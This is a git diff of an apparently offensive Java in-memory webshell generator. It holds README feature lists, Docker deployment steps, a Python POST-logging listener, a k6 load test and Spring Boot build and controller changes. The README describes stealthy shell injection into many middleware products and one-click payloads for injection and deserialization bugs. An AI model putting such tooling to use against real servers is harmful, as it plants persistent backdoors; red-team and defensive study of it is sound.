4. 尝试使用 [Byte Buddy](https://bytebuddy.net/) 生成类,编写 Agent。
|
|
||||||
5. 尝试使用 Gradle 构建 Java 项目(platform 编写依赖版本管理,toolchain 可以在根项目设置 JDK17 环境下也能完成 JDK6 源代码的编译)
|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
## 主要特性
|
## 主要特性
|
||||||
|
|
||||||
- 无侵入性:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
- **无侵入性**:生成的内存马不会影响目标中间件正常流量,即使同时注入十几个不同的内存马。
|
||||||
- 高可用性: 自带完备的 [CI 集成测试](https://github.com/ReaJason/MemShellParty/actions/workflows/test.yaml)
|
- **强兼容性**:覆盖攻防场景下常见中间件和框架,以及 JDK 适配 JDK6 ~ JDK21。
|
||||||
- 最小化: 尽可能精简内存马大小,高效传输。
|
- **高可用性**:对所有支持的中间件框架建立了全面的自动化测试矩阵,确保每一次生成的载荷都具备最高的可用性和稳定性,杜绝实战中的不确定性。
|
||||||
- 强兼容性: 覆盖攻防场景下常见中间件和框架。
|
- **极致轻量化**:通过深度优化的字节码生成策略,MemShellParty 将内存马体积相较于 JMG 等传统工具进行了大幅缩小,常规内存马缩小了
|
||||||
|
**30%**,Agent 内存马采用 ASM 技术缩小了 **80%**。
|
||||||
|
- **傻瓜一键化**:内置针对主流表达式注入、反序列化、SSTI 等常见漏洞的载荷生成。系统会自动根据绕过 Java
|
||||||
|
模块限制配置,动态生成最优攻击载荷。可实现常规漏洞载荷一键生成。
|
||||||
|
- **高灵活性**:原生支持哥斯拉、冰蝎、蚁剑、Suo5、NeoreGeorg 等常用内存马功能,通过高度灵活的自定义内存马上传功能,可以将任何定制化载荷融入
|
||||||
|
MemShellParty 的生成体系,打造最贴合自身战术需求的攻击平台。
|
||||||
|
|
||||||
## 快速使用
|
## 快速使用
|
||||||
|
|
||||||
|
### 使用前必看
|
||||||
|
|
||||||
|
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
|
||||||
|
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
|
||||||
|
|
||||||
|
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
|
||||||
|
GlassFish,因为它使用的是 GlassFish 进行的二开)。
|
||||||
|
|
||||||
### 在线站点
|
### 在线站点
|
||||||
|
|
||||||
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
> 仅限尝鲜的小伙伴,对于其他暴露在公网的服务请谨慎使用,小心生成的内存马带后门
|
||||||
|
|
||||||
可直接访问 https://party.memshell.news (搭建在 [Northflank](https://northflank.com/) US
|
可访问(master 分支) [https://party.mem.mk](https://party.mem.mk)。每次 Release 都会自动部署最新的镜像。
|
||||||
节点上,访问较慢,Thanks [@xcxmiku](https://github.com/xcxmiku)),每次 Release 都会自动部署最新的镜像。
|
|
||||||
|
对于正在开发的功能可访问(dev 分支) [https://dev-party.mem.mk](https://dev-party.mem.mk) 抢先体验。
|
||||||
|
|
||||||
### 本地部署(推荐)
|
### 本地部署(推荐)
|
||||||
|
|
||||||
@@ -76,210 +78,10 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
|
|||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
|
||||||
```
|
```
|
||||||
|
|
||||||
镜像是无状态的,在需要更新最新镜像时,直接移除新建就好了
|
## Special Thanks
|
||||||
|
|
||||||
```bash
|
|
||||||
# 移除之前部署的
|
|
||||||
docker rm -f memshell-party
|
|
||||||
|
|
||||||
# 使用之前的部署命令重新部署(会自动拉取最新的镜像部署)
|
|
||||||
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party reajason/memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### 本地构建
|
|
||||||
|
|
||||||
> 适合想编写代码的小伙伴,使用 Git Clone 下载到本地,并构建前后端项目以供使用
|
|
||||||
|
|
||||||
首先需要下载 [bun](https://bun.sh/),这是一款用于构建前端服务的工具。
|
|
||||||
|
|
||||||
1. 使用 Git Clone 项目
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/ReaJason/MemShellParty.git
|
|
||||||
```
|
|
||||||
2. 构建前端项目,build 结束会将静态资源自动移动到 Spring Boot 中以供使用
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/web
|
|
||||||
|
|
||||||
bun install
|
|
||||||
|
|
||||||
bun run build
|
|
||||||
```
|
|
||||||
3. 构建后端项目,确保使用 JDK17 环境
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
./gradlew :boot:bootjar -x test
|
|
||||||
```
|
|
||||||
|
|
||||||
构建完之后,可直接启动 jar 包,jar 包位于 `MemShellParty/boot/build/libs/boot-1.0.0.jar`
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
java -jar \
|
|
||||||
--add-opens=java.base/java.util=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
|
|
||||||
--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
|
|
||||||
build/libs/boot-1.0.0.jar
|
|
||||||
```
|
|
||||||
|
|
||||||
也可这基础上再继续构建容器来使用
|
|
||||||
|
|
||||||
```bash
|
|
||||||
cd MemShellParty/boot
|
|
||||||
|
|
||||||
docker buildx build -t memshell-party:latest . --load
|
|
||||||
|
|
||||||
docker run -it -d --name memshell-party -p 8080:8080 memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
### Dockerfile 一键构建
|
|
||||||
|
|
||||||
> 适合于希望构建自定义访问路径的小伙伴,例如 NGINX 反代的场景([#44](https://github.com/ReaJason/MemShellParty/issues/44))
|
|
||||||
|
|
||||||
下载项目根目录的 [Dockerfile](./Dockerfile)
|
|
||||||
|
|
||||||
- VERSION: 版本信息,随意,建议用最新的 tag 号,仅作前端展示
|
|
||||||
- ROUTE_ROOT_PATH: 前端根路由配置
|
|
||||||
- CONTEXT_PATH: 后端访问前缀
|
|
||||||
|
|
||||||
```bash
|
|
||||||
# 基础构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.3.1 \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 基础镜像启动,访问 127.0.0.1:8080
|
|
||||||
docker run -it -d -p 8080:8080 memshell-party:latest
|
|
||||||
|
|
||||||
# 自定义访问路径构建
|
|
||||||
docker buildx build \
|
|
||||||
--build-arg VERSION=1.3.1 \
|
|
||||||
--build-arg ROUTE_ROOT_PATH=/memshell-party \
|
|
||||||
--build-arg CONTEXT_PATH=/memshell-party \
|
|
||||||
-t memshell-party:latest . --load
|
|
||||||
|
|
||||||
# 自定义路径构建镜像启动,访问 127.0.0.1:8080/memshell-party
|
|
||||||
docker run -it -p 8080:8080 \
|
|
||||||
-e BOOT_OPTS=--server.servlet.context-path=/memshell-party \
|
|
||||||
memshell-party:latest
|
|
||||||
```
|
|
||||||
|
|
||||||
如果需要使用 NGINX 反代,请先使用自定义访问路径构建容器,并配置 NGINX 如下:
|
|
||||||
|
|
||||||
其中 `location /memshell-party`、`ROUTE_ROOT_PATH=/memshell-party`、`CONTEXT_PATH=/memshell-party` 和
|
|
||||||
`BOOT_OPTS=--server.servlet.context-path=/memshell-party` 都要一致才行。
|
|
||||||
|
|
||||||
```text
|
|
||||||
location /memshell-party {
|
|
||||||
proxy_pass http://127.0.0.1:8080;
|
|
||||||
proxy_set_header Host $http_host;
|
|
||||||
proxy_set_header X-Forwarded-By $server_addr:$server_port;
|
|
||||||
proxy_set_header X-Forwarded-For $remote_addr;
|
|
||||||
proxy_http_version 1.1;
|
|
||||||
proxy_connect_timeout 3s;
|
|
||||||
proxy_read_timeout 300s;
|
|
||||||
proxy_send_timeout 300s;
|
|
||||||
proxy_buffer_size 16k;
|
|
||||||
proxy_buffers 8 64k;
|
|
||||||
proxy_busy_buffers_size 128k;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## 适配情况
|
|
||||||
|
|
||||||
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
|
|
||||||
|
|
||||||
### 中间件以及框架
|
|
||||||
|
|
||||||
| Tomcat(5 ~ 11) | Jetty(6 ~ 11) | GlassFish(3 ~ 7) | Payara(5 ~ 6) |
|
|
||||||
|----------------------|------------------------|----------------------|----------------------|
|
|
||||||
| Servlet | Servlet | Filter | Filter |
|
|
||||||
| Filter | Filter | Listener | Listener |
|
|
||||||
| Listener | Listener | Valve | Valve |
|
|
||||||
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
|
|
||||||
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
|
|
||||||
| ContextValve - Agent | | | |
|
|
||||||
|
|
||||||
| Resin(3 ~ 4) | SpringMVC | SpringWebFlux | XXL-JOB |
|
|
||||||
|---------------------|--------------------------|-----------------|--------------|
|
|
||||||
| Servlet | Interceptor | WebFilter | NettyHandler |
|
|
||||||
| Filter | ControllerHandler | HandlerMethod | |
|
|
||||||
| Listener | FrameworkServlet - Agent | HandlerFunction | |
|
|
||||||
| FilterChain - Agent | | NettyHandler | |
|
|
||||||
|
|
||||||
| JBossAS(4 ~ 7) | JBossEAP(6 ~ 7) | WildFly(9 ~ 30) | Undertow |
|
|
||||||
|----------------------|----------------------------|------------------------|------------------------|
|
|
||||||
| Filter | Filter | Servlet | Servlet |
|
|
||||||
| Listener | Listener | Filter | Filter |
|
|
||||||
| Valve | Valve(6) | Listener | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent (6) | | |
|
|
||||||
| | ServletHandler - Agent (7) | | |
|
|
||||||
|
|
||||||
| WebSphere(7 ~ 9) | WebLogic (10.3.6 ~ 14) |
|
|
||||||
|-----------------------|-------------------------|
|
|
||||||
| Servlet | Servlet |
|
|
||||||
| Filter | Filter |
|
|
||||||
| Listener | Listener |
|
|
||||||
| FilterManager - Agent | ServletContext - Agent |
|
|
||||||
|
|
||||||
| BES(9.5.x) | TongWeb(6 ~ 7) | InforSuite AS (9 ~ 10) | Apusic AS (9) |
|
|
||||||
|----------------------|----------------------|------------------------|---------------|
|
|
||||||
| Filter | Filter | Filter | Servlet |
|
|
||||||
| Listener | Listener | Listener | Filter |
|
|
||||||
| Valve | Valve | Valve | Listener |
|
|
||||||
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent | |
|
|
||||||
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent | |
|
|
||||||
|
|
||||||
### 内存马功能
|
|
||||||
|
|
||||||
- [x] Godzilla 哥斯拉
|
|
||||||
- [x] Behinder 冰蝎
|
|
||||||
- [x] 命令执行
|
|
||||||
- [x] Suo5
|
|
||||||
- [x] AntSword 蚁剑
|
|
||||||
- [ ] Neo-reGeorg
|
|
||||||
- [ ] Custom
|
|
||||||
|
|
||||||
### 封装方式
|
|
||||||
|
|
||||||
- [x] BASE64
|
|
||||||
- [x] GZIP BASE64
|
|
||||||
- [x] JSP
|
|
||||||
- [x] JSPX
|
|
||||||
- [x] JAR
|
|
||||||
- [x] BCEL
|
|
||||||
- [x] 内置脚本引擎、Rhino 脚本引擎
|
|
||||||
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
|
|
||||||
- [x] Velocity、Freemarker、JinJava
|
|
||||||
- [x] 原生反序列化(CB4)
|
|
||||||
- [x] Agent
|
|
||||||
- [x] XXL-JOB Executor
|
|
||||||
- [x] Hessian、Hessian2 反序列化(XSLT链)
|
|
||||||
- [ ] JNDI
|
|
||||||
- [ ] JDBC 连接
|
|
||||||
- [ ] 其他常见反序列化
|
|
||||||
|
|
||||||
## How
|
|
||||||
|
|
||||||
1. 如何使用 bytebuddy 生成类,为属性赋值,添加方法,指定位置调用方法?(**WIP**)
|
|
||||||
2. 如何调试内存马,为什么内存马注入了却不可用?(**WIP**)
|
|
||||||
|
|
||||||
## Contribute
|
|
||||||
|
|
||||||
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
|
||||||
|
|
||||||
> It will be so nice if you want to contribute. 🎉
|
|
||||||
|
|
||||||
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
|
||||||
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
|
||||||
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
|
||||||
|
|
||||||
项目结构目录、构建和编译可参考 [CONTRIBUTING.md](CONTRIBUTING.md)。
|
|
||||||
|
|
||||||
## Thanks
|
|
||||||
|
|
||||||
|
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
|
||||||
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
- [pen4uin/java-memshell-generator](https://github.com/pen4uin/java-memshell-generator)
|
||||||
|
- [pen4uin/java-echo-generator](https://github.com/pen4uin/java-echo-generator)
|
||||||
|
|
||||||
### Let's start the party 🎉
|
### Let's start the party 🎉
|
||||||
|
|||||||
Binary file not shown.
|
After Width: | Height: | Size: 92 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 140 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 136 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 236 KiB |
@@ -0,0 +1,35 @@
|
|||||||
|
import http.server
|
||||||
|
import socketserver
|
||||||
|
|
||||||
|
PORT = 8000
|
||||||
|
TARGET_PATH = "/api/v1/data"
|
||||||
|
|
||||||
|
|
||||||
|
class SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
|
||||||
|
def do_POST(self):
|
||||||
|
if self.path == TARGET_PATH:
|
||||||
|
try:
|
||||||
|
content_length = int(self.headers['Content-Length'])
|
||||||
|
post_data_bytes = self.rfile.read(content_length)
|
||||||
|
post_data_str = post_data_bytes.decode('utf-8')
|
||||||
|
print("-----------------------------\n")
|
||||||
|
print(f"Client IP: {self.client_address}")
|
||||||
|
print(f"Request Header:\n{self.headers}")
|
||||||
|
print(f"Request Body:\n{post_data_str}")
|
||||||
|
print("-----------------------------\n")
|
||||||
|
self.send_response(200)
|
||||||
|
self.send_header('Content-type', 'application/json')
|
||||||
|
self.end_headers()
|
||||||
|
response_message = '{"status": "success"}'
|
||||||
|
self.wfile.write(response_message.encode('utf-8'))
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Parse POST failed: {e}")
|
||||||
|
self.send_response(500)
|
||||||
|
else:
|
||||||
|
print("Make sure use " + TARGET_PATH + " rather than " + self.path)
|
||||||
|
self.send_response(404)
|
||||||
|
|
||||||
|
|
||||||
|
with socketserver.TCPServer(("", PORT), SimpleHTTPRequestHandler) as httpd:
|
||||||
|
print(f"POST request at http://localhost:{PORT}{TARGET_PATH} Listening ")
|
||||||
|
httpd.serve_forever()
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
import http from 'k6/http';
|
||||||
|
import {check, sleep} from 'k6';
|
||||||
|
|
||||||
|
export const options = {
|
||||||
|
rps: 4500,
|
||||||
|
vus: 10,
|
||||||
|
duration: '5m',
|
||||||
|
};
|
||||||
|
|
||||||
|
export default function () {
|
||||||
|
const res = http.get('http://localhost:8082/app/test');
|
||||||
|
check(res, {
|
||||||
|
'status is 200': (r) => r.status === 200,
|
||||||
|
});
|
||||||
|
sleep(1);
|
||||||
|
}
|
||||||
@@ -2,7 +2,7 @@ FROM python:3.12-slim
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
RUN pip install requests
|
RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
|
||||||
|
|
||||||
COPY neoreg.py .
|
COPY neoreg.py .
|
||||||
|
|
||||||
|
|||||||
Binary file not shown.
|
Before Width: | Height: | Size: 262 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 268 KiB |
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -1,37 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java-platform'
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
constraints {
|
|
||||||
api 'net.bytebuddy:byte-buddy:1.+'
|
|
||||||
|
|
||||||
api 'javax.servlet:javax.servlet-api:3.0.1'
|
|
||||||
api 'jakarta.servlet:jakarta.servlet-api:6.0.0'
|
|
||||||
api 'javax.websocket:javax.websocket-api:1.1'
|
|
||||||
|
|
||||||
api 'org.springframework:spring-webmvc:5.3.24'
|
|
||||||
api 'org.springframework:spring-webflux:5.3.24'
|
|
||||||
api 'io.projectreactor.netty:reactor-netty-core:1.1.25'
|
|
||||||
|
|
||||||
api 'commons-io:commons-io:2.+'
|
|
||||||
api 'org.apache.commons:commons-lang3:3.+'
|
|
||||||
api 'commons-codec:commons-codec:1.+'
|
|
||||||
api 'ch.qos.logback:logback-classic:1.+'
|
|
||||||
|
|
||||||
api 'xalan:xalan:2.7.0'
|
|
||||||
api 'org.apache.bcel:bcel:5.2'
|
|
||||||
|
|
||||||
api 'org.java-websocket:Java-WebSocket:1.5.7'
|
|
||||||
api 'com.squareup.okhttp3:okhttp:4.+'
|
|
||||||
api 'com.alibaba.fastjson2:fastjson2:2.0.53'
|
|
||||||
|
|
||||||
api 'org.jetbrains:annotations:26.0.1'
|
|
||||||
|
|
||||||
api "org.mockito:mockito-core:5.15.2"
|
|
||||||
api 'org.hamcrest:hamcrest:3.0'
|
|
||||||
api 'org.junit:junit-bom:5.11.4'
|
|
||||||
api 'org.testcontainers:testcontainers:1.20.5'
|
|
||||||
api 'org.testcontainers:junit-jupiter:1.20.5'
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+3
-4
@@ -4,11 +4,10 @@ LABEL authors="ReaJason<[email protected]>"
|
|||||||
|
|
||||||
WORKDIR /app
|
WORKDIR /app
|
||||||
|
|
||||||
COPY build/libs/*.jar app.jar
|
|
||||||
|
|
||||||
RUN groupadd -r spring && \
|
RUN groupadd -r spring && \
|
||||||
useradd -r -g spring spring && \
|
useradd -r -g spring spring
|
||||||
chown spring:spring /app/app.jar
|
|
||||||
|
COPY --chown=spring:spring build/libs/*.jar app.jar
|
||||||
|
|
||||||
USER spring:spring
|
USER spring:spring
|
||||||
|
|
||||||
|
|||||||
@@ -1,62 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id 'java'
|
|
||||||
id 'org.springframework.boot' version '3.4.0'
|
|
||||||
id 'io.spring.dependency-management' version '1.1.6'
|
|
||||||
}
|
|
||||||
|
|
||||||
group = 'com.reajason.javaweb'
|
|
||||||
version = rootProject.version
|
|
||||||
|
|
||||||
java {
|
|
||||||
toolchain {
|
|
||||||
languageVersion = JavaLanguageVersion.of(17)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
def runtimeJvmArgs = [
|
|
||||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
|
||||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
|
||||||
]
|
|
||||||
|
|
||||||
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
|
||||||
|
|
||||||
tasks.withType(Test).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
// For running the application
|
|
||||||
tasks.withType(JavaExec).configureEach {
|
|
||||||
jvmArgs += runtimeJvmArgs
|
|
||||||
}
|
|
||||||
|
|
||||||
configurations {
|
|
||||||
compileOnly {
|
|
||||||
extendsFrom annotationProcessor
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation(project(":generator")) {
|
|
||||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation(project(":deserialize")) {
|
|
||||||
exclude group: 'commons-logging', module: 'commons-logging'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
|
||||||
implementation('org.springframework.boot:spring-boot-starter-web') {
|
|
||||||
exclude group: 'org.springframework.boot', module: 'spring-boot-starter-tomcat'
|
|
||||||
}
|
|
||||||
implementation 'org.springframework.boot:spring-boot-starter-undertow'
|
|
||||||
compileOnly 'org.projectlombok:lombok'
|
|
||||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
|
||||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
|
||||||
annotationProcessor 'org.projectlombok:lombok'
|
|
||||||
testImplementation 'org.springframework.boot:spring-boot-starter-test'
|
|
||||||
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
|
||||||
}
|
|
||||||
|
|
||||||
test {
|
|
||||||
useJUnitPlatform()
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
plugins {
|
||||||
|
id("java")
|
||||||
|
id("org.springframework.boot") version "3.5.8"
|
||||||
|
id("io.spring.dependency-management") version "1.1.7"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = "io.github.reajason"
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
toolchain {
|
||||||
|
languageVersion = JavaLanguageVersion.of(17)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.processResources { filesMatching("**/application.yaml") { expand(project.properties) } }
|
||||||
|
|
||||||
|
configurations {
|
||||||
|
compileOnly {
|
||||||
|
extendsFrom(configurations.annotationProcessor.get())
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation(project(":generator")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation(project(":packer")) {
|
||||||
|
exclude(group = "commons-logging", module = "commons-logging")
|
||||||
|
}
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-web") {
|
||||||
|
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
|
||||||
|
}
|
||||||
|
implementation(libs.commons.lang3)
|
||||||
|
implementation("org.springframework.boot:spring-boot-starter-undertow")
|
||||||
|
compileOnly("org.projectlombok:lombok")
|
||||||
|
developmentOnly("org.springframework.boot:spring-boot-devtools")
|
||||||
|
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
|
||||||
|
annotationProcessor("org.projectlombok:lombok")
|
||||||
|
testImplementation("org.springframework.boot:spring-boot-starter-test")
|
||||||
|
testRuntimeOnly("org.junit.platform:junit-platform-launcher")
|
||||||
|
}
|
||||||
|
|
||||||
|
tasks.test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
@@ -1,5 +1,6 @@
|
|||||||
package com.reajason.javaweb.boot;
|
package com.reajason.javaweb.boot;
|
||||||
|
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.boot.SpringApplication;
|
import org.springframework.boot.SpringApplication;
|
||||||
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
||||||
|
|
||||||
@@ -7,11 +8,10 @@ import org.springframework.boot.autoconfigure.SpringBootApplication;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
@SpringBootApplication
|
@SpringBootApplication
|
||||||
|
@Slf4j
|
||||||
public class BootApplication {
|
public class BootApplication {
|
||||||
|
|
||||||
public static void main(String[] args) {
|
public static void main(String[] args) {
|
||||||
|
|
||||||
SpringApplication.run(BootApplication.class, args);
|
SpringApplication.run(BootApplication.class, args);
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
@@ -1,10 +1,13 @@
|
|||||||
package com.reajason.javaweb.boot.api;
|
package com.reajason.javaweb.boot.api;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.GenerationException;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||||
|
import org.springframework.web.servlet.resource.NoResourceFoundException;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
@@ -13,10 +16,23 @@ import org.springframework.web.bind.annotation.RestControllerAdvice;
|
|||||||
@RestControllerAdvice
|
@RestControllerAdvice
|
||||||
@Slf4j
|
@Slf4j
|
||||||
public class GlobalExceptionHandler {
|
public class GlobalExceptionHandler {
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.NOT_FOUND)
|
||||||
|
@ExceptionHandler(NoResourceFoundException.class)
|
||||||
|
public ResponseEntity<?> handleNoResourceException() {
|
||||||
|
return ResponseEntity.status(HttpStatus.NOT_FOUND).build();
|
||||||
|
}
|
||||||
|
|
||||||
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
|
@ExceptionHandler(GenerationException.class)
|
||||||
|
public ErrorResponse handleGenerationException(GenerationException exception) {
|
||||||
|
return new ErrorResponse(exception.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||||
@ExceptionHandler(Throwable.class)
|
@ExceptionHandler(Throwable.class)
|
||||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||||
log.error("请求出错", throwable);
|
log.error("Internal Exception", throwable);
|
||||||
return new ErrorResponse(throwable.getMessage());
|
return new ErrorResponse(throwable.getMessage());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
|
import org.springframework.asm.ClassReader;
|
||||||
|
import org.springframework.cglib.core.ClassNameReader;
|
||||||
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
import org.springframework.web.bind.annotation.RequestBody;
|
||||||
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/11/10
|
||||||
|
*/
|
||||||
|
@RestController
|
||||||
|
@CrossOrigin("*")
|
||||||
|
public class ClassNameParseController {
|
||||||
|
|
||||||
|
@PostMapping("/api/className")
|
||||||
|
public String className(@RequestBody String classBase64) {
|
||||||
|
return ClassNameReader.getClassName(new ClassReader(Base64.getDecoder().decode(classBase64)));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,57 +1,69 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.boot.entity.Config;
|
import com.reajason.javaweb.boot.vo.CommandConfigVO;
|
||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.ServerFactory;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.server.AbstractServer;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.packer.Packers;
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
import java.util.stream.Collectors;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/13
|
* @since 2024/12/13
|
||||||
*/
|
*/
|
||||||
@RestController
|
@RestController
|
||||||
@RequestMapping("/config")
|
@RequestMapping("/api/config")
|
||||||
@CrossOrigin("*")
|
@CrossOrigin("*")
|
||||||
public class ConfigController {
|
public class ConfigController {
|
||||||
|
|
||||||
|
@RequestMapping("/servers")
|
||||||
|
public Map<String, List<String>> getServers() {
|
||||||
|
Map<String, List<String>> servers = new LinkedHashMap<>();
|
||||||
|
List<String> supportedServers = ServerFactory.getSupportedServers();
|
||||||
|
